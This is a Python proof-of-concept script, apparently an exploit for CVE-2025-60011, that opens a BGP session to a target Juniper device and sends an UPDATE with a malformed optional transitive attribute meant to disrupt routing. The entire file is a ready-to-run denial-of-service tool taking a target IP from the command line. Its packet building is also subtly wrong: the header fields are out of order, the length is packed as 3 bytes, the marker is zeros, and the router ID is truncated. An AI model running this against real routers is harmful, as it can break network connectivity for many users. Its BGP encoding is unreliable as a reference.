#!/usr/bin/env python3
"""
CVE-2025-60011 PoC - Juniper Junos BGP Attribute Handling DoS
This PoC demonstrates sending a malformed optional transitive BGP attribute
to trigger the vulnerability in Juniper devices.
WARNING: Only for authorized security testing with proper authorization.
"""
import socket
import struct
import random
def build_bgp_open_msg(asn, router_id):
"""Build BGP OPEN message"""
version = 4
hold_time = 180
open_msg = bytes([
version, # BGP version
])
open_msg += struct.pack('!H', asn) # My AS
open_msg += struct.pack('!H', hold_time) # Hold time
open_msg += struct.pack('!I', router_id)[1:] # BGP Identifier
open_msg += bytes([0]) # Optional parameters length
header = build_bgp_header(1, open_msg) # OPEN = 1
return header
def build_bgp_header(type_, data):
"""Build BGP message header"""
msg = struct.pack('!B', type_)
msg += struct.pack('!I', len(data) + 19)[1:] # Length (without marker)
msg += bytes(16) # Marker (all 1s)
msg += data
return msg
def build_malformed_optional_transitive_attr(attr_type, attr_data):
"""
Build a malformed optional transitive BGP attribute
This triggers the improper check vulnerability in Juniper rpd
Attribute flags: 0x40 (Optional) | 0x20 (Transitive) | 0x10 (Partial)
Attribute type: Variable (e.g., 255 for experimental)
"""
flags = 0x70 # Optional + Transitive + Partial (malformed state)
attr = bytes([
flags,
attr_type,
])
attr += bytes([len(attr_data)]) # Length byte
attr += attr_data
return attr
def build_bgp_update_with_malformed_attr():
"""Build BGP UPDATE with malformed optional transitive attribute"""
withdrawn_routes_len = 0
withdrawn_routes = b''
path_attr = build_malformed_optional_transitive_attr(
attr_type=255, # Experimental attribute type
attr_data=b'\x00' * 32 # Malformed data
)
nlri = b''
update_data = struct.pack('!H', withdrawn_routes_len)
update_data += withdrawn_routes
update_data += struct.pack('!H', len(path_attr))
update_data += path_attr
update_data += nlri
return build_bgp_header(2, update_data) # UPDATE = 2
def send_bgp_payload(target_ip, target_port=179):
"""
Send crafted BGP payload to trigger CVE-2025-60011
Args:
target_ip: Target Juniper device IP
target_port: BGP port (default 179)
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
try:
sock.connect((target_ip, target_port))
# Send BGP OPEN
router_id = random.randint(1, 0xFFFFFFFF)
open_msg = build_bgp_open_msg(asn=65001, router_id=router_id)
sock.send(open_msg)
# Receive OPEN response
response = sock.recv(4096)
if not response:
print("[-] No response from BGP peer")
return False
print("[+] BGP session established, sending malformed attribute...")
# Send UPDATE with malformed optional transitive attribute
update_msg = build_bgp_update_with_malformed_attr()
sock.send(update_msg)
print("[+] Malformed BGP attribute sent")
print("[*] This may cause Juniper rpd to corrupt the attribute")
print("[*] Downstream peers may terminate BGP sessions")
return True
except socket.timeout:
print("[-] Connection timeout")
return False
except socket.error as e:
print(f"[-] Socket error: {e}")
return False
finally:
sock.close()
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description='CVE-2025-60011 PoC')
parser.add_argument('target', help='Target Juniper device IP')
parser.add_argument('-p', '--port', type=int, default=179, help='BGP port')
args = parser.parse_args()
print(f"[*] Targeting {args.target}:{args.port}")
print("[*] Sending malformed optional transitive BGP attribute...")
send_bgp_payload(args.target, args.port)